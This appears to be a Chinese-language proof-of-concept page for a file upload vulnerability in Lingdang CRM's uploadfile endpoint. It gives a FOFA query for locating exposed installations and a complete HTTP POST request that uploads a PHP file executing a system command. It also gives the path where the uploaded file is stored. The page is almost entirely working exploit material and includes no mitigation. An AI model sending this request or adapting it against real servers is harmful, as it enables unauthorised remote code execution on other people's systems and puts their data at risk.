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33 lines
1.0 KiB
Markdown
33 lines
1.0 KiB
Markdown
# 灵当CRM系统接口uploadfile文件上传漏洞
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灵当CRM系统接口uploadfile文件上传漏洞，允许攻击者上传恶意文件到服务器，可能导致远程代码执行、网站篡改或其他形式的攻击，严重威胁系统和数据安全。
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## fofa
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```javascript
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body="crmcommon/js/jquery/jquery-1.10.1.min.js" || (body="http://localhost:8088/crm/index.php" && body="ldcrm.base.js")
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```
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## poc
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```javascript
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POST /crm/weixinmp/index.php?userid=123&module=Upload&usid=1&action=uploadfile HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Content-Type: application/x-www-form-urlencoded
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Connection: close
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file_info={"name":"1.php"}&<?php system("whoami");unlink(__FILE__);?>
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```
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文件路径
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```
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/crm/storage/2024/December/week4/回显文件名.php
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```
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